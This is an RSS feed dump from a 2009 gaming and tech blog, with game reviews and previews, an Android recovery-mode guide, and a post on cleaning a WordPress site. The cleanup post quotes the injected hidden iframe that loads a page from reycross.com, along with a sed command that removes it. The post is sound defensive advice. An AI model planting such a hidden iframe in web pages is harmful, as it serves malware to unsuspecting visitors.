		<category><![CDATA[funny]]></category>
		<category><![CDATA[gamers]]></category>
		<category><![CDATA[mainstream]]></category>
		<category><![CDATA[marketing]]></category>

		<guid isPermaLink="false">http://www.breakitdownblog.com/?p=6524</guid>
		<description><![CDATA[Borderlands is the new 4-player co-op, FPS/RPG that just dropped today to retailers and so far is getting solid 8.5/10 reviews from the few sources we&#8217;ve seen.
Overall we&#8217;re pretty pumped for the title and it looks like Gearbox hired a pretty savvy marketing group to put together a mock advertisement about how &#8220;mainstream&#8221; Borderlands really [...]]]></description>
			<content:encoded><![CDATA[<p>Borderlands is the new 4-player co-op, FPS/RPG that just dropped today to retailers and so far is getting solid 8.5/10 reviews from the <a href="http://pc.ign.com/articles/103/1036211p1.html">few</a> <a href="http://www.gametrailers.com/video/review-borderlands/57868">sources</a> <a href="http://www.giantbomb.com/borderlands/61-20487/reviews/">we&#8217;ve seen</a>.</p>
<p>Overall we&#8217;re pretty pumped for the title and it looks like Gearbox hired a pretty savvy marketing group to put together a mock advertisement about how &#8220;mainstream&#8221; Borderlands really is &#8212; I found it hilarious so wanted to share it here with you.</p>
<p>Take note of how awesomely &#8220;<a href="http://www.imdb.com/title/tt0163651/">Stiffler-esque</a>&#8221; the main character is, the end sequence I found hilarious with his growing rage:</p>
<p><a href="http://www.breakitdownblog.com/borderlands-for-mainstream-gamers/"><em>Click here to view the embedded video.</em></a></p>
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<enclosure url="http://oysterdl.ign.com/ve3d/videos/06/10/61090_borderlands_spc_realgamer_qthighwide.flv" length="27893455" type="video/x-flv" />
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		<item>
		<title>Dragon Age: Origins Villages, Environments and World Screenshots</title>
		<link>http://feedproxy.google.com/~r/breakitdownblog/~3/XwvT-MdhUF0/</link>
		<comments>http://www.breakitdownblog.com/dragon-age-origins-villages-environments-and-world-screenshots/#comments</comments>
		<pubDate>Tue, 20 Oct 2009 01:16:26 +0000</pubDate>
		<dc:creator>Riyad Kalla</dc:creator>
				<category><![CDATA[Gaming]]></category>
		<category><![CDATA[characters]]></category>
		<category><![CDATA[Dragon Age Origins]]></category>
		<category><![CDATA[environment]]></category>
		<category><![CDATA[NPC]]></category>
		<category><![CDATA[screenshots]]></category>
		<category><![CDATA[villages]]></category>

		<guid isPermaLink="false">http://www.breakitdownblog.com/?p=6495</guid>
		<description><![CDATA[
Most of the Dragon Age: Origins screenshots we&#8217;ve seen up until now have focused primarily on battle and the party in the game. That is why I was excited when an environments-only screenshot pack dropped in our lab tonight.
These screenshots show of the world that Dragon Age: Origins takes place in. The type of environments, [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/10/dragon-age-origins-screenshot-forest-waterfall.jpg"><img class="size-large wp-image-6505 aligncenter" title="dragon-age-origins-screenshot-forest-waterfall" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/dragon-age-origins-screenshot-forest-waterfall-500x281.jpg" alt="dragon-age-origins-screenshot-forest-waterfall" width="500" height="281" /></a></p>
<p>Most of the Dragon Age: Origins screenshots we&#8217;ve seen up until now have focused primarily on battle and the party in the game. That is why I was excited when an environments-only screenshot pack dropped in our lab tonight.</p>
<p>These screenshots show of the <em>world</em> that Dragon Age: Origins takes place in. The type of environments, both inside and outside of towns, that you will be walking through and experiencing as you go on your journey.</p>
<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/10/dragon-age-origins-screenshot-warrior-bar-fireplace-pet.jpg"><img class="size-large wp-image-6517 aligncenter" title="dragon-age-origins-screenshot-warrior-bar-fireplace-pet" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/dragon-age-origins-screenshot-warrior-bar-fireplace-pet-500x333.jpg" alt="dragon-age-origins-screenshot-warrior-bar-fireplace-pet" width="500" height="333" /></a></p>
<p>Absolutely a darker tone to the environments which we&#8217;ve noted before, the game definitely makes you feel like you are in a sullen/repressed world that is in need of helping.</p>

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		<title>Dragon Age: Origins Goodies</title>
		<link>http://feedproxy.google.com/~r/breakitdownblog/~3/fYrdQh-sk_8/</link>
		<comments>http://www.breakitdownblog.com/dragon-age-origins-goodies/#comments</comments>
		<pubDate>Fri, 16 Oct 2009 15:34:54 +0000</pubDate>
		<dc:creator>Riyad Kalla</dc:creator>
				<category><![CDATA[Gaming]]></category>
		<category><![CDATA[character creation]]></category>
		<category><![CDATA[Dragon Age Origins]]></category>
		<category><![CDATA[screenshots]]></category>

		<guid isPermaLink="false">http://www.breakitdownblog.com/?p=6483</guid>
		<description><![CDATA[
Dragon Age: Origins was a game we got some special time with at PAX 2009 back in September. It was about a 30-minute private playthrough that honestly took about 2 hours to get into. Curses on BioWare for running their demo like that at the conference &#8212; they never bothered to walk back in line [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/10/dragon-age-origins-screenshot-warrior-dungeon-mage.jpg"><img class="size-large wp-image-6492 aligncenter" title="dragon-age-origins-screenshot-warrior-dungeon-mage" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/dragon-age-origins-screenshot-warrior-dungeon-mage-500x281.jpg" alt="dragon-age-origins-screenshot-warrior-dungeon-mage" width="500" height="281" /></a></p>
<p>Dragon Age: Origins was a game we got some special time with at PAX 2009 back in September. It was about a 30-minute private playthrough that honestly took about 2 hours to get into. Curses on BioWare for running their demo like that at the conference &#8212; they never bothered to walk back in line and tell everyone <em>after</em> person 30 that they would <strong>never play the game</strong> that day.</p>
<p>Honestly, we were about 15th or so in line first thing one morning and it took us almost 2hrs to finally sit down and play &#8212; they took people in groups of 10 and let them play for 30 mins, even if you finished the private demo early and left, they still held the computer unoccupied for the full 30 mins until everyone was done&#8230; bah.</p>
<p>That&#8217;s neither here nor there now, the game is done and coming out soon, so here are our thoughts on it:</p>
<ul>
<li>It&#8217;s Mass Effect set in medieval times</li>
<li>Graphics were solid. Although with BioWare games you come from the intricate stories and and inter-character relationships and Dragon Age looks set to deliver on that.</li>
<li>Check point system seems a bit lacking &#8212; we were playing the 360 version and I ended up walking out of the demo because I got 3/4 of the way through it, died and respawned at the checkpoint coming out of the town where the demo started&#8230; there was no way I was going to replay all that stuff again. This may have just been part of the PAX demo though. I would imagine the check point system will be identical to Mass Effect &#8212; which I think was like this, but I don&#8217;t recall dying much in that game.</li>
<li>It&#8217;s a darker game &#8212; there is this foreboding seriousness that drips all around this game&#8230; sort of a depressed/angry/suppressed feeling &#8212; I dig it, it makes the times seem more dark and intense.</li>
<p style="text-align: center;"><img class="alignnone size-large wp-image-6489" title="dragon-age-origins-screenshot-orcs" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/dragon-age-origins-screenshot-orcs-500x281.jpg" alt="dragon-age-origins-screenshot-orcs" width="500" height="281" /></p>
<li>You can TOTALLY burn other NPCs in conversations. There are a lot of great choices to retort with like &#8220;Why don&#8217;t you shut your mouth before my sword shuts if for you&#8221; &#8212; so if you like playing like a dick, you will likely spend a lot of time laughing.</li>
<li>Combat was confusing &#8212; I&#8217;m not the sharpest tool in the shed when it comes to Final Fantasy-esque RPG attack mechanisms, but I found myself juggling controls a lot during combat trying to figure out how to make things die.</li>
<p style="text-align: center;"><img class="alignnone size-large wp-image-6490" title="dragon-age-origins-screenshot-party-dungeon-attack" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/dragon-age-origins-screenshot-party-dungeon-attack-500x281.jpg" alt="dragon-age-origins-screenshot-party-dungeon-attack" width="500" height="281" /></p>
<li>You can play ANY member of your party, not just the &#8220;hero&#8221;. At any time you can switch to the other characters.</li>
<p style="text-align: center;"><img class="alignnone size-large wp-image-6491" title="dragon-age-origins-screenshot-party-selection" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/dragon-age-origins-screenshot-party-selection-500x281.jpg" alt="dragon-age-origins-screenshot-party-selection" width="500" height="281" /></p>
<li>The attack styles of the different members of the group is very different.</li>
<li>Attacks are not as action-oriented as Mass Effect, they are some hybrid between World of Warcraft (timing/targeting/recharge cycles) mixed with Mass Effect (live-action, you can run around during). It felt odd&#8230; I think you can pause time during attacks in this game as well like Mass Effect.</li>
</ul>
<p>Overall I&#8217;m cautiously optimistic about the title &#8212; it looks like easily a 20-30 hr game straight through with some good story elements to it. Caring about the Gray Wardens cause (that&#8217;s the group of soldiers you play) will be part of connecting with the game and the story and I&#8217;m not sure that clicked for me.</p>
<p>Abusing my squad-mates and killing innocent people (which I did during the demo) is hilarious and could be funny to watch unfold&#8230; I rarely play evil in these types of games.</p>
<p>If you have already decided you are picking this up for PC, don&#8217;t forget to grab the <a href="http://files.bioware.com/dragonage_cc_dl/DragonAgeOriginsCharacterCreator_en.exe">Dragon Age Character Creator software</a> for the PC to start working on the character you want to import into the game on release date.</p>
<p>Also if you are excited about the game and want to talk with other fans, BioWare has a <a href="http://social.bioware.com/">community setup</a> for that as well.</p>

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		<title>How To Put Google Ion into Recovery Mode</title>
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		<comments>http://www.breakitdownblog.com/how-to-put-google-ion-into-recovery-mode/#comments</comments>
		<pubDate>Thu, 08 Oct 2009 15:29:41 +0000</pubDate>
		<dc:creator>Riyad Kalla</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[Android 1.6]]></category>
		<category><![CDATA[Google Ion]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[recovery mode]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[upgrade]]></category>

		<guid isPermaLink="false">http://www.breakitdownblog.com/?p=6469</guid>
		<description><![CDATA[
Introduction
This document will cover both how to get your Google Ion into Recovery Mode as well as a few other clarifications to HTC&#8217;s Google Ion device instructions for installing Android 1.6 that caused me pain during this process.
If you are like me and have an Android device, more specifically the Google Ion Android developer device from [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/10/google-ion-recovery-console-installing-radio-image.jpg"><img class="size-large wp-image-6470 aligncenter" title="google-ion-recovery-console-installing-radio-image" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/google-ion-recovery-console-installing-radio-image-303x600.jpg" alt="google-ion-recovery-console-installing-radio-image" width="303" height="600" /></a></p>
<h3>Introduction</h3>
<p>This document will cover both how to get your Google Ion into <strong>Recovery Mode</strong> as well as a few other clarifications to <a href="http://developer.htc.com/google-io-device.html">HTC&#8217;s Google Ion device instructions</a> for installing Android 1.6 that caused me pain during this process.</p>
<p>If you are like me and have an Android device, more specifically the Google Ion Android developer device from the Google I-O conference, then you are likely excited about the <a href="http://android-developers.blogspot.com/2009/09/android-16-sdk-is-here.html">Android 1.6 release</a> that is available and <em>want to install it.</em></p>
<p>I&#8217;ve actually been sitting here waiting and rebooting my phone all week thinking that T-Mobile would push that update OTA to me like it did my wife&#8217;s phone and all my friend&#8217;s Android phones &#8212; unfortunately not, if you have a Google Ion phone, you will not get the Android 1.6 update over-the-air from T-Mobile.</p>
<p>So I set out to figure out how to install it myself. Fortunately HTC provides a very specific <a href="http://developer.htc.com/google-io-device.html">Google Ion device page</a> showing you how to install different types of platform software on the phone. Unfortunately the page is geared at Android developers and some of the terminology used on the page will be confusing, so I&#8217;ll clear it up for us normal folks that just want to <em>update their phone with the new Android OS</em>:</p>
<p><strong>Summary of Page for Normal People</strong></p>
<ul>
<li>Download the &#8220;Radio Image&#8221; package</li>
<li>Download the &#8220;Recovery Image&#8221; package</li>
<li><span style="color: #ff0000;">Read the clarifications below FIRST, so that page and future instructions make more sense.</span></li>
</ul>
<p>Once you&#8217;ve done that, the rest of the instructions on the page, about installing the <a href="http://developer.android.com/sdk/index.html">Android SDK</a> and using the <em>abd</em> tool all work great except for a few factual omissions that drove me crazy and I&#8217;m hoping to save someone their sanity by posting them here.</p>
<h3>Don&#8217;t Mount as USB Storage</h3>
<p>This isn&#8217;t specified anywhere, and is self-explanatory for <em>some</em> folks, but not everyone. When you are connecting your device to your computer, ignore the &#8220;Mount SD Card as USB storage&#8221; prompt on the phone. Leave the phone connected as a normal USB device.</p>
<h3>You Probably Need the WinUsb Driver</h3>
<p>My install of Windows 7 didn&#8217;t see my device when I connected it to my machine. After some digging around online and finding some <em>seriously complicated</em> solutions to getting Windows to load the right Android USB Driver, I found 1 sane users that pointed over to the official &#8220;<a href="http://developer.android.com/guide/developing/device.html#WinUsbDriver">Installing the WinUsb Driver</a>&#8221; doc from the Android group &#8212; low and behold this worked just fine. I found the <em>Unknown Device</em> in the Windows Device Manager, right-clicked on it, selected <strong>Update Driver&#8230;</strong> and selected the path to the <em>/usb_driver</em> sub-directory under my Android SDK install directory and Windows took care of the rest (found and installed the USB driver).</p>
<h3>Booting the Google Ion into Recovery Mode</h3>
<p>This was <em>maddening</em> and took me about an hour to figure out. The instructions on <a href="http://developer.htc.com/google-io-device.html">HTC&#8217;s Google Ion device page</a> specifically say you reboot the phone into <em>Recovery Mode</em> by doing the following:</p>
<blockquote><p>Reboot the device into recovery mode by holding down the HOME key during reboot. When the device enters recovery mode, it displays a &#8220;!&#8221; icon.</p></blockquote>
<p>This is crap &#8212; not only is it confusing (e.g. How do I know what phase of startup is considered &#8216;<em>during reboot</em>&#8216;?), but it&#8217;s also <strong>wrong</strong>.</p>
<p>The <strong>correct way to boot your Google Ion into Recovery Mode</strong> is as follows:</p>
<p><em>Thanks to </em><a href="http://www.mail-archive.com/android-beginners@googlegroups.com/msg13987.html"><em>Vladimir Kelman</em></a><em> and his insistence that HTC&#8217;s instructions made no sense. (</em><a href="http://androidandme.com/2009/08/news/how-to-root-a-t-mobile-g1-and-mytouch-3g-android-phone/"><em>Additional Link</em></a><em>)</em></p>
<ol>
<li>From the desktop, hold down the END/Power-Off button (to bring up the <em>Phone Options</em> menu)</li>
<li>Select the <em>Power off</em> option</li>
<li>Click <em>OK</em> on the <em>Power off confirmation</em> screen</li>
<li>NOW, immediately press the HOME-button and END/Power-Off button together at the same time &#8212; the phone&#8217;s &#8220;Shutting down&#8221; screen will continue to show, and you may see your Applications slider pop open in the background, but just keep holding these 2 buttons.</li>
<li>The phone will shutdown like normal, but instead of staying <strong>off</strong>, it will immediately kick into the that white &#8220;Google I-O&#8221; boot screen.</li>
<li>After a few more sections, a screen with a &#8220;!&#8221; inside of a triangle will appear, <strong>congratulations, you are in recovery mode</strong>. It looks like this:<br />
<a href="http://www.breakitdownblog.com/wp-content/uploads/2009/10/google-ion-recovery-mode.jpg"></a></li>
<p style="text-align: center;"><img class="alignnone size-large wp-image-6471" title="google-ion-recovery-mode" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/google-ion-recovery-mode-322x600.jpg" alt="google-ion-recovery-mode" width="322" height="600" /></p>
<li>You can now press HOME-button and END/Power-Off button together to bring up the recovery console &#8212; but the rest of the HTC Google Ion device instructions work just fine so you can follow them now.</li>
</ol>
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		<title>Shadow Complex (Xbox 360) Review</title>
		<link>http://feedproxy.google.com/~r/breakitdownblog/~3/A3xLBTyOeVE/</link>
		<comments>http://www.breakitdownblog.com/shadow-complex-xbox-360-review/#comments</comments>
		<pubDate>Mon, 28 Sep 2009 06:59:43 +0000</pubDate>
		<dc:creator>Patrick</dc:creator>
				<category><![CDATA[Gaming]]></category>
		<category><![CDATA[review]]></category>
		<category><![CDATA[Shadow Complex]]></category>
		<category><![CDATA[Unreal 3]]></category>
		<category><![CDATA[Xbox 360]]></category>
		<category><![CDATA[Xbox Live]]></category>

		<guid isPermaLink="false">http://www.breakitdownblog.com/?p=6436</guid>
		<description><![CDATA[
Summary [9.5 out of 10]
Set in the world of Empire by Orson Scott Card, Shadow Complex is a 2D side-scrolling adventure game in the vein of Metroid. You play Jason, a fish out of water who finds himself embroiled in high tech action and espionage when a hiking trip turns into a rescue mission which [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/08/shadow-complex-splash-screen.jpg"><img class="size-large wp-image-6459 aligncenter" title="shadow-complex-splash-screen" src="http://www.breakitdownblog.com/wp-content/uploads/2009/08/shadow-complex-splash-screen-499x241.jpg" alt="shadow-complex-splash-screen" width="499" height="241" /></a></p>
<h3>Summary [9.5 out of 10]</h3>
<p>Set in the world of Empire by Orson Scott Card, Shadow Complex is a 2D side-scrolling adventure game in the vein of Metroid. You play Jason, a fish out of water who finds himself embroiled in high tech action and espionage when a hiking trip turns into a rescue mission which turns into a save the world mission. The game play is tight, the graphics are excellent and the cut-scenes and voice work are exceptional. Oh and did I mention it is an XBox Live  Arcade title? It is amazing that so many retail games get so much wrong when a download only title gets just about everything right.</p>
<h3>Introduction</h3>
<p>I think the general perception with downloadable titles on services like Live, the Playstation Store or the Wii store is that they are good for nostalgia or a quick diversion from real games but they aren&#8217;t much in and of themselves. At least that is how I have always felt. Initially, the idea of forking over $15 for a game that looks like a quicky downloadable title made my stomach churn but seeing the videos made me change my mind. Shadow Complex is a revelation and if this is what the future has in store for downloadable games then sign me up.</p>
<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/08/shadow-complex-screenshot-nolan-north.jpg"><img class="size-large wp-image-6461 aligncenter" title="shadow-complex-screenshot-nolan-north" src="http://www.breakitdownblog.com/wp-content/uploads/2009/08/shadow-complex-screenshot-nolan-north-500x280.jpg" alt="shadow-complex-screenshot-nolan-north" width="500" height="280" /></a></p>
<h3>The Great</h3>
<ul>
<li>Fun: I am not sure when the last time was that I had so much fun with a game. From beginning to end this game grabbed me and didn&#8217;t let go. There is always something going on, the puzzles are just challenging enough but don&#8217;t bog down the game play, and the action is frantic. Even when I found myself dying in certain areas I kept coming back for more. I never felt particularly frustrated and the learning curve is pretty much perfect.</li>
</ul>
<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/08/shadow-complex-screenshot-forest-jump-gap.jpg"><img class="size-large wp-image-6462 aligncenter" title="shadow-complex-screenshot-forest-jump-gap" src="http://www.breakitdownblog.com/wp-content/uploads/2009/08/shadow-complex-screenshot-forest-jump-gap-500x281.jpg" alt="shadow-complex-screenshot-forest-jump-gap" width="500" height="281" /></a></p>
<ul>
<li>Graphics: Built with the Unreal Engine 3, Shadow Complex is gorgeous. The backgrounds and levels look great and the character models and animation are pretty much spot on. That the graphics are this going on a download title is just amazing. Clearly a lot of care went into this game.</li>
<li>Level Design: This sort of game is made or broken in large part by the level design. If you have bad design then the best ideas, graphics, controls and gameplay are rendered moot. When the emphasis is on exploring the place has to be interesting. Shadow Complex offers up intricate levels which never get repetitive or boring. Going from one room to another is often a puzzle unto itself and adds a ton of spice and variety into well rounded gameplay.</li>
<li>Item collection/upgrades: The variety of upgradable items, weapons and armor is impressive and everything you collect is worth something. You aren&#8217;t looking to items because that is just what you do but because they genuinely help out. The usefulness of the upgrades and the cleverness of their hiding places makes for a very satisfying experience. You don&#8217;t do anything just because and you don&#8217;t spend time looking for things that weren&#8217;t worth your time.</li>
</ul>
<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/08/shadow-complex-screenshot-hang-from-ceiling-shooting.jpg"><img class="size-large wp-image-6463 aligncenter" title="shadow-complex-screenshot-hang-from-ceiling-shooting" src="http://www.breakitdownblog.com/wp-content/uploads/2009/08/shadow-complex-screenshot-hang-from-ceiling-shooting-500x281.jpg" alt="shadow-complex-screenshot-hang-from-ceiling-shooting" width="500" height="281" /></a></p>
<ul>
<li>Replay: The game took me just under 8 hours to finish with 78% of items found. That is a pretty decent length for a game like this. That it is compelling to play through again to try to get everything and find every secret is remarkable. You add in the Proving Ground and Challenge modes and you have a game that keeps giving over and over. When you have full retail games giving you a 12 minute experience this one is packed with value.</li>
</ul>
<h3>The Good</h3>
<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/08/shadow-complex-screenshot-main-character-cut-scene.jpg"><img class="size-large wp-image-6464 aligncenter" title="shadow-complex-screenshot-main-character-cut-scene" src="http://www.breakitdownblog.com/wp-content/uploads/2009/08/shadow-complex-screenshot-main-character-cut-scene-500x281.jpg" alt="shadow-complex-screenshot-main-character-cut-scene" width="500" height="281" /></a></p>
<ul>
<li>Jason: Your character is pretty bad ass. He starts out a regular dude trying to get some play in the forest and turns into an action hero that would make John McClane blush. He invokes Nathan Drake from Uncharted, not just because he looks an awful lot like him but also because Nolan North does the voice for both characters. His backstory has his dad teaching him tactical military things when he was younger in hopes he would follow in his father&#8217;s footsteps so it isn&#8217;t ridiculous that a random dude becomes the savior of the world&#8230;or at least of San Francisco.</li>
<li>Controls: The controls here are super intuitive and easy to use. There is a bit of learning curve but the game eases you into things enough that this isn&#8217;t a problem. Anytime you have a hard time doing something in this game it is a skill based issue and not a broken control issue&#8230;except for some of the shooting, which will get its own bullet point later. Once you spend a little time with each of the upgrades and new abilities you will be pulling off impressive feats that will make you feel like a badass.</li>
<li>Story: Based on established cannon and adapted here by Peter David, you don&#8217;t get a super involved story but what you get is very good. I wouldn&#8217;t have expected much story at all from a game like this so the fact that it has a compelling one is really cool.</li>
<li>Difficulty: There are several difficulty settings to choose from but the normal, default difficulty is pretty much perfect. It offers up a challenge but not such that you get frustrated and walk away. The only reason I ever stopped playing this game was when I had to never because I wanted to. If I didn&#8217;t have a job and a girlfriend I would still be playing right now.</li>
</ul>
<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/08/shadow-complex-screenshot-inside-base-shooting.jpg"><img class="size-large wp-image-6465 aligncenter" title="shadow-complex-screenshot-inside-base-shooting" src="http://www.breakitdownblog.com/wp-content/uploads/2009/08/shadow-complex-screenshot-inside-base-shooting-500x281.jpg" alt="shadow-complex-screenshot-inside-base-shooting" width="500" height="281" /></a></p>
<ul>
<li>Variety: You have a lot of ways to deal with enemies from shooting, to CQC, to running away. Solving exits and figuring out how to get through a room or to a hidden object seldom has just one way to do it. Getting creative not only helps improve your play but also makes everything more fun and keeps the game feeling fresh.</li>
</ul>
<h3>The Bad</h3>
<ul>
<li>3D shooting on a 2D plane: I get what they were going for here but it doesn&#8217;t really work out. Basically what you have here is enemies coming at you from various points in the background. You can auto-target these guys or sometimes aim for them by pressing up but in those moments when you have a lot of foes at once it is really difficult to take out the dick sniping at you from behind a box in the background. A nice idea but it just doesn&#8217;t deliver.</li>
</ul>
<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/08/shadow-complex-screenshot-mech-boss-fight.jpg"><img class="size-large wp-image-6466 aligncenter" title="shadow-complex-screenshot-mech-boss-fight" src="http://www.breakitdownblog.com/wp-content/uploads/2009/08/shadow-complex-screenshot-mech-boss-fight-500x281.jpg" alt="shadow-complex-screenshot-mech-boss-fight" width="500" height="281" /></a></p>
<ul>
<li>Boss Fights: The boss fights leave a lot to be desired. They are just too easy. The final battle was a cake walk and generally none of the bosses gave me any real problem. You have a great opportunity here to have some really epic boss fights but they fall short. Everything else in the game puts this on par with Metroid and Castlevania: Symphony of Night and so too should the boss fights. Those classics had truly memorable and challenging bosses. It is a shame that Shadow Complex can&#8217;t say the same thing.</li>
</ul>
<h3>Conclusion [9.5 out of 10]</h3>
<p>Shadow Complex is fun, fresh and beats the holy loving crap out of a lot of full retail titles. For $15 you owe to yourself to download this if you have Xbox Live. Seriously unless you hate games like Metroid and Castlevania, and by extension fun, then you will love this game. It is just that good.</p>
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		<title>How to Remove reycross.com WordPress Malware</title>
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		<comments>http://www.breakitdownblog.com/how-to-remove-reycross-com-wordpress-malware/#comments</comments>
		<pubDate>Wed, 16 Sep 2009 05:50:28 +0000</pubDate>
		<dc:creator>Riyad Kalla</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[removal]]></category>
		<category><![CDATA[reycross.com]]></category>
		<category><![CDATA[tip]]></category>

		<guid isPermaLink="false">http://www.breakitdownblog.com/?p=6456</guid>
		<description><![CDATA[It seems that a new WordPress malware hijack is making the rounds and we got hit. Google just issued me a &#8220;this site contains malware&#8221; warning for my sites, after some quick investigation it looks like the hijack has attached a malicious &#60;iframe&#62; block to the end of every HTML and PHP page in the [...]]]></description>
			<content:encoded><![CDATA[<p>It seems that a new WordPress malware hijack is making the rounds and we got hit. Google just issued me a &#8220;this site contains malware&#8221; warning for my sites, after some quick investigation it looks like the hijack has attached a malicious &lt;iframe&gt; block to the end of every HTML and PHP page in the site, so now I need to clean it out.</p>
<p>Luckily this is just like last time, and was easy to get rid of. I hope this tip helps someone else out as well.</p>
<p>This time, the iframe snippet that was getting added was:</p>
<p style="padding-left: 30px;"><code>&lt;iframe src="http://reycross.com/laso/s.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no&gt;&lt;/iframe&gt;</code></p>
<p>Luckily, I had my old script laying around that systematically searches through all my files and removed the offending piece of crap from the files, you can use this script command as well to do the same:</p>
<p style="padding-left: 30px;"><code>find . -name '*.*' -exec sed -i 's/&lt;iframe src="http:\/\/reycross.com\/laso\/s.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no&gt;&lt;\/iframe&gt;//g' {} \;</code></p>
<p>Hope this helps anybody else getting sacked by this attack. I think it has to do with a theme vulnerability <img src='http://www.breakitdownblog.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> </p>
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		<title>Batman: Arkham Asylum (Xbox 360) Review</title>
		<link>http://feedproxy.google.com/~r/breakitdownblog/~3/JHGLVuTXJGY/</link>
		<comments>http://www.breakitdownblog.com/batman-arkham-asylum-xbox-360-review/#comments</comments>
		<pubDate>Sat, 12 Sep 2009 02:00:12 +0000</pubDate>
		<dc:creator>Patrick</dc:creator>
				<category><![CDATA[Gaming]]></category>
		<category><![CDATA[awesome]]></category>
		<category><![CDATA[Batman: Arkham Asylum]]></category>
		<category><![CDATA[Harley Quinn]]></category>
		<category><![CDATA[Joker]]></category>
		<category><![CDATA[review]]></category>
		<category><![CDATA[Xbox 360]]></category>

		<guid isPermaLink="false">http://www.breakitdownblog.com/?p=6442</guid>
		<description><![CDATA[
Summary [10 out of 10]
When Joker turns a prison transfer into Arkham Asylum into a full fledged take over of the island it is up to Batman to round up the inmates and stop whatever Joker has planned in the first game to ever fully and accurately capture the Batman experience. Finally, Batman&#8217;s entire skill [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/09/batman-arkham-asylum-boxart-front.jpg"><img class="size-large wp-image-6446 aligncenter" title="batman-arkham-asylum-boxart-front" src="http://www.breakitdownblog.com/wp-content/uploads/2009/09/batman-arkham-asylum-boxart-front-466x600.jpg" alt="batman-arkham-asylum-boxart-front" width="466" height="600" /></a></p>
<h3>Summary [10 out of 10]</h3>
<p>When Joker turns a prison transfer into Arkham Asylum into a full fledged take over of the island it is up to Batman to round up the inmates and stop whatever Joker has planned in the first game to ever fully and accurately capture the Batman experience. Finally, Batman&#8217;s entire skill set is on display as you use stealth, gadgets, combat ability and detective skills to figure out what Joker is up to and stop him before it is too late.  With flawless controls, a great story, voice acting straight from the animated series and a plethora of extras Batman: Arkham Asylum is what every Batman fan has been waiting for all these years.</p>
<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/09/batman-arkham-asylum-screenshot-batman-choke-joker.jpg"><img class="size-large wp-image-6447 aligncenter" title="batman-arkham-asylum-screenshot-batman-choke-joker" src="http://www.breakitdownblog.com/wp-content/uploads/2009/09/batman-arkham-asylum-screenshot-batman-choke-joker-499x300.jpg" alt="batman-arkham-asylum-screenshot-batman-choke-joker" width="499" height="300" /></a></p>
<h3>Introduction</h3>
<p>I would start this review off by mentioning that I am a big Batman fan and that he is my second favorite super-hero and I have been into him since I was age 4 but given that pretty much everyone in the fanboy geek realm is in mad, passionate love with the Dark Knight (unless they are the sorts of contrarian haters who can&#8217;t wait to diss the thing that everyone loves because they are so much cooler yet oddly just as unlikely to kiss a girl) I don&#8217;t really feel like I need to make huge pronouncements of love for the character as it is probably a given.</p>
<p>All that being said, Batman games have classically been really, really terrible. I think the last one I enjoyed (and I should mention I haven&#8217;t played Lego Batman) was the   of the &#8216;89 Batman movie. It was that long ago. Even then it wasn&#8217;t a great Batman game so much as a decent platformer. In the years since we have seen a lot of earnest efforts in capturing the magic but none have managed to do so.</p>
<p>Generally this is due to games trying to focus on only one aspect of what Batman is about or only manages one of them properly while other aspects suffer. One of the remarkable things about Arkham Asylum is that it juggles all the major aspects of Batman masterfully and there is never a time when I felt like I wish I could hurry past the section I was on to get to something fun. It is all fun. I can&#8217;t think of a super hero game prior to this that has so completely &#8216;gotten&#8217; it. I don&#8217;t want to get to far into hyperbole-ville but with Batman: Arkham Asylum, the hype is well deserved.</p>
<h3>The Great</h3>
<ul>
<li>Game-play: First and foremost the game succeeds tremendously at being easy and intuitive to play. When I say easy to play I don&#8217;t mean the game itself is easy but rather the mechanics work wonderfully and none of the systems in the game are broken. There is never a time when you will fight the game itself or find Batman doing things you didn&#8217;t tell him to do.  In a game where you have three main game-play styles there is a lot of room for things breaking down or having a lackluster component. That doesn&#8217;t happen here. Each of the styles is the best possible example of that style and other franchises should take notice of what is going on here.</li>
</ul>
<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/09/batman-arkham-asylum-screenshot-batman-talking.jpg"><img class="size-large wp-image-6448 aligncenter" title="batman-arkham-asylum-screenshot-batman-talking" src="http://www.breakitdownblog.com/wp-content/uploads/2009/09/batman-arkham-asylum-screenshot-batman-talking-499x281.jpg" alt="batman-arkham-asylum-screenshot-batman-talking" width="499" height="281" /></a></p>
<ul>
